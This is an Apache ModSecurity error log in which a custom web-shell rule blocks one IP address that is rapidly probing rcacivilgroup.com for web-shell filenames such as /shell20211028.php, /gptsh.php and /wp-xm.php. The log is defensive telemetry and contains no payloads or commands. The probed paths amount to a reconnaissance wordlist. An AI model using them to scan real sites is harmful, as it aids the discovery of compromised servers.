[Mon May 04 23:46:34.713460 2026] [:error] [pid 32471:tid 32489] [client 20.29.119.89:64658] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "afi_Wnmjpb9EYq6AqhKQeAAAAQ8"]
[Mon May 04 23:46:35.290118 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:62110] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "afi_W09o3_LordU0wW6c0AAAAJg"]
[Mon May 04 23:46:35.778598 2026] [:error] [pid 61150:tid 61155] [client 20.29.119.89:65377] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "afi_W-8QXWVLiwIGVpenXQAAAUI"]
[Mon May 04 23:46:36.245487 2026] [:error] [pid 61150:tid 61174] [client 20.29.119.89:63428] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "afi_XO8QXWVLiwIGVpenXwAAAVU"]
[Mon May 04 23:46:36.647394 2026] [:error] [pid 61042:tid 61057] [client 20.29.119.89:62199] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "afi_XEnAPPS1fjubA9Rw2wAAAMs"]
[Mon May 04 23:46:37.154375 2026] [:error] [pid 32471:tid 32475] [client 20.29.119.89:64094] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "afi_XXmjpb9EYq6AqhKQgwAAAQE"]
[Mon May 04 23:46:37.771432 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:63367] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xm.php"] [unique_id "afi_XU9o3_LordU0wW6c0wAAAJY"]
[Mon May 04 23:46:38.231343 2026] [:error] [pid 61043:tid 61095] [client 20.29.119.89:64036] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xm.php"] [unique_id "afi_Xp8-LwtfURjiAbDojgAAAFQ"]
[Mon May 04 23:46:38.636405 2026] [:error] [pid 32471:tid 32485] [client 20.29.119.89:64021] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xm.php"] [unique_id "afi_Xnmjpb9EYq6AqhKQhAAAAQs"]
[Mon May 04 23:46:39.024892 2026] [:error] [pid 61150:tid 61167] [client 20.29.119.89:63397] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xm.php"] [unique_id "afi_X-8QXWVLiwIGVpenZAAAAU4"]
[Mon May 04 23:46:39.414186 2026] [:error] [pid 32471:tid 32480] [client 20.29.119.89:64682] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/do.php"] [unique_id "afi_X3mjpb9EYq6AqhKQhQAAAQY"]
[Mon May 04 23:46:39.878574 2026] [:error] [pid 61150:tid 61168] [client 20.29.119.89:62817] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/do.php"] [unique_id "afi_X-8QXWVLiwIGVpenZwAAAU8"]
[Mon May 04 23:46:41.764951 2026] [:error] [pid 61044:tid 61119] [client 20.29.119.89:62811] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/do.php"] [unique_id "afi_YUw8w2zZZXI6H1u49AAAABE"]
[Mon May 04 23:46:42.141917 2026] [:error] [pid 61150:tid 61159] [client 20.29.119.89:62736] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/do.php"] [unique_id "afi_Yu8QXWVLiwIGVpenaQAAAUY"]
[Mon May 04 23:46:42.658352 2026] [:error] [pid 61150:tid 61173] [client 20.29.119.89:65288] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "afi_Yu8QXWVLiwIGVpenawAAAVQ"]
[Mon May 04 23:46:43.163736 2026] [:error] [pid 32471:tid 32479] [client 20.29.119.89:65363] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "afi_Y3mjpb9EYq6AqhKQiQAAAQU"]
[Mon May 04 23:46:43.617868 2026] [:error] [pid 61150:tid 61156] [client 20.29.119.89:62105] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "afi_Y-8QXWVLiwIGVpenbAAAAUM"]
[Mon May 04 23:46:44.099761 2026] [:error] [pid 32471:tid 32474] [client 20.29.119.89:64087] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "afi_ZHmjpb9EYq6AqhKQigAAAQA"]
[Mon May 04 23:46:44.534118 2026] [:error] [pid 32471:tid 32475] [client 20.29.119.89:65337] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "afi_ZHmjpb9EYq6AqhKQjAAAAQE"]
[Mon May 04 23:46:45.051738 2026] [:error] [pid 32471:tid 32490] [client 20.29.119.89:64041] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "afi_ZXmjpb9EYq6AqhKQjQAAARA"]
[Mon May 04 23:46:45.673430 2026] [:error] [pid 61042:tid 61052] [client 20.29.119.89:64105] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "afi_ZUnAPPS1fjubA9Rw4gAAAMY"]
[Mon May 04 23:46:46.083185 2026] [:error] [pid 61043:tid 61076] [client 20.29.119.89:64109] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "afi_Zp8-LwtfURjiAbDomQAAAEE"]
[Mon May 04 23:46:46.512933 2026] [:error] [pid 61150:tid 61172] [client 20.29.119.89:63468] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasfu.php"] [unique_id "afi_Zu8QXWVLiwIGVpenbwAAAVM"]
[Mon May 04 23:46:46.957586 2026] [:error] [pid 3341:tid 3367] [client 20.29.119.89:63462] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasfu.php"] [unique_id "afi_Zk9o3_LordU0wW6c2gAAAJc"]
[Mon May 04 23:46:47.409783 2026] [:error] [pid 32471:tid 32480] [client 20.29.119.89:63475] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasfu.php"] [unique_id "afi_Z3mjpb9EYq6AqhKQjwAAAQY"]
[Mon May 04 23:46:47.817614 2026] [:error] [pid 32471:tid 32484] [client 20.29.119.89:63481] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasfu.php"] [unique_id "afi_Z3mjpb9EYq6AqhKQkAAAAQo"]
[Mon May 04 23:46:48.209706 2026] [:error] [pid 61042:tid 61058] [client 20.29.119.89:63409] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "afi_aEnAPPS1fjubA9Rw5QAAAMw"]
[Mon May 04 23:46:48.591780 2026] [:error] [pid 32471:tid 32497] [client 20.29.119.89:64024] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "afi_aHmjpb9EYq6AqhKQkQAAARc"]
[Mon May 04 23:46:48.990416 2026] [:error] [pid 3341:tid 3361] [client 20.29.119.89:64102] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "afi_aE9o3_LordU0wW6c3gAAAJE"]
[Mon May 04 23:46:49.398269 2026] [:error] [pid 61043:tid 61077] [client 20.29.119.89:60275] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "afi_aZ8-LwtfURjiAbDongAAAEI"]
[Mon May 04 23:46:49.821929 2026] [:error] [pid 32471:tid 32483] [client 20.29.119.89:63421] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "afi_aXmjpb9EYq6AqhKQkgAAAQk"]
[Mon May 04 23:46:50.236628 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:60211] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "afi_ak9o3_LordU0wW6c4AAAAIQ"]
[Mon May 04 23:46:50.625011 2026] [:error] [pid 61150:tid 61159] [client 20.29.119.89:62783] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "afi_au8QXWVLiwIGVpencQAAAUY"]
[Mon May 04 23:46:51.137046 2026] [:error] [pid 61042:tid 61059] [client 20.29.119.89:65391] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "afi_a0nAPPS1fjubA9Rw5wAAAM0"]
[Mon May 04 23:46:51.532399 2026] [:error] [pid 32471:tid 32498] [client 20.29.119.89:62133] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "afi_a3mjpb9EYq6AqhKQlAAAARg"]
[Mon May 04 23:46:51.922319 2026] [:error] [pid 32471:tid 32474] [client 20.29.119.89:63387] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "afi_a3mjpb9EYq6AqhKQlgAAAQA"]
[Mon May 04 23:46:52.752022 2026] [:error] [pid 61042:tid 61060] [client 20.29.119.89:64062] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "afi_bEnAPPS1fjubA9Rw6QAAAM4"]
[Mon May 04 23:46:53.166111 2026] [:error] [pid 61150:tid 61161] [client 20.29.119.89:64725] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "afi_be8QXWVLiwIGVpencgAAAUg"]
[Mon May 04 23:46:53.560840 2026] [:error] [pid 32471:tid 32488] [client 20.29.119.89:63453] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "afi_bXmjpb9EYq6AqhKQnQAAAQ4"]
[Mon May 04 23:46:54.060719 2026] [:error] [pid 61150:tid 61164] [client 20.29.119.89:63371] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "afi_bu8QXWVLiwIGVpencwAAAUs"]
[Mon May 04 23:46:54.533835 2026] [:error] [pid 32471:tid 32496] [client 20.29.119.89:64067] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "afi_bnmjpb9EYq6AqhKQnwAAARY"]
[Mon May 04 23:46:54.924178 2026] [:error] [pid 61150:tid 61153] [client 20.29.119.89:61444] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "afi_bu8QXWVLiwIGVpendQAAAUA"]
[Mon May 04 23:46:55.344250 2026] [:error] [pid 61150:tid 61172] [client 20.29.119.89:62129] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "afi_b-8QXWVLiwIGVpendwAAAVM"]
[Mon May 04 23:46:55.861442 2026] [:error] [pid 61044:tid 61118] [client 20.29.119.89:63414] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "afi_b0w8w2zZZXI6H1u4-gAAABA"]
[Mon May 04 23:46:56.266384 2026] [:error] [pid 61043:tid 61093] [client 20.29.119.89:64721] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "afi_cJ8-LwtfURjiAbDoowAAAFI"]
[Mon May 04 23:46:56.865711 2026] [:error] [pid 32471:tid 32484] [client 20.29.119.89:63449] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "afi_cHmjpb9EYq6AqhKQpAAAAQo"]
[Mon May 04 23:46:57.278055 2026] [:error] [pid 61044:tid 61123] [client 20.29.119.89:64006] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "afi_cUw8w2zZZXI6H1u4_AAAABU"]
[Mon May 04 23:46:57.682144 2026] [:error] [pid 61150:tid 61168] [client 20.29.119.89:62092] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "afi_ce8QXWVLiwIGVpeneAAAAU8"]
[Mon May 04 23:46:58.103687 2026] [:error] [pid 61150:tid 61171] [client 20.29.119.89:64696] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "afi_cu8QXWVLiwIGVpenewAAAVI"]
[Mon May 04 23:46:58.537185 2026] [:error] [pid 61044:tid 61117] [client 20.29.119.89:62152] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "afi_ckw8w2zZZXI6H1u5AwAAAA8"]
[Mon May 04 23:46:59.005379 2026] [:error] [pid 61150:tid 61165] [client 20.29.119.89:64668] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "afi_c-8QXWVLiwIGVpenfgAAAUw"]
[Mon May 04 23:46:59.478333 2026] [:error] [pid 61043:tid 61078] [client 20.29.119.89:62793] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "afi_c58-LwtfURjiAbDoqgAAAEM"]
[Mon May 04 23:47:00.135396 2026] [:error] [pid 61042:tid 61053] [client 20.29.119.89:62171] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "afi_dEnAPPS1fjubA9Rw6wAAAMc"]
[Mon May 04 23:47:00.518230 2026] [:error] [pid 61150:tid 61155] [client 20.29.119.89:64125] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "afi_dO8QXWVLiwIGVpengQAAAUI"]
[Mon May 04 23:47:01.027660 2026] [:error] [pid 61150:tid 61157] [client 20.29.119.89:63469] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "afi_de8QXWVLiwIGVpenggAAAUQ"]
[Mon May 04 23:47:01.491839 2026] [:error] [pid 61043:tid 61079] [client 20.29.119.89:64692] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "afi_dZ8-LwtfURjiAbDorgAAAEQ"]
